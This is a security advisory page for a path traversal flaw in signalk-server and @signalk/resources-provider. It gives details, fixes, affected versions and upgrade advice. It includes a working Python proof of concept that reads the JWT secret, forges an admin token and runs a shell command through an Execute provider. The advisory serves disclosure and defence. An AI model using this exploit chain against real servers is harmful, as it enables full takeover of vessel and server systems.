Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
The source advisory has changed since this explanation was prepared. Check the current technical data and original advisory below.
Summary
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
Details
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json— disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT — HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution —
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Impact
Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix.
What to do
Upgrade signalk-server to version 2.34.0 or later, and @signalk/resources-provider to version 1.5.3 or later.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @signalk/resources-provider | >= 1.0.0, < 1.5.3 | 1.5.3 |
| npm package | signalk-server | >= 2.0.0, < 2.34.0 | 2.34.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-22- Platform
- npm
- Package
@signalk/resources-provider, signalk-server- Disclosed
- 30.10.2026
- Updated
- 09.11.2026 22:17
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-4xm8-rg9h-jhq2 - CC BY 4.0
Vulnerability history: signalk-server
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 17
- First → latest
- 01.2026 11.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 4
- High 4
- Medium 8
- Low 1
Disclosures per year
- 2026: 17
-
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution this entry
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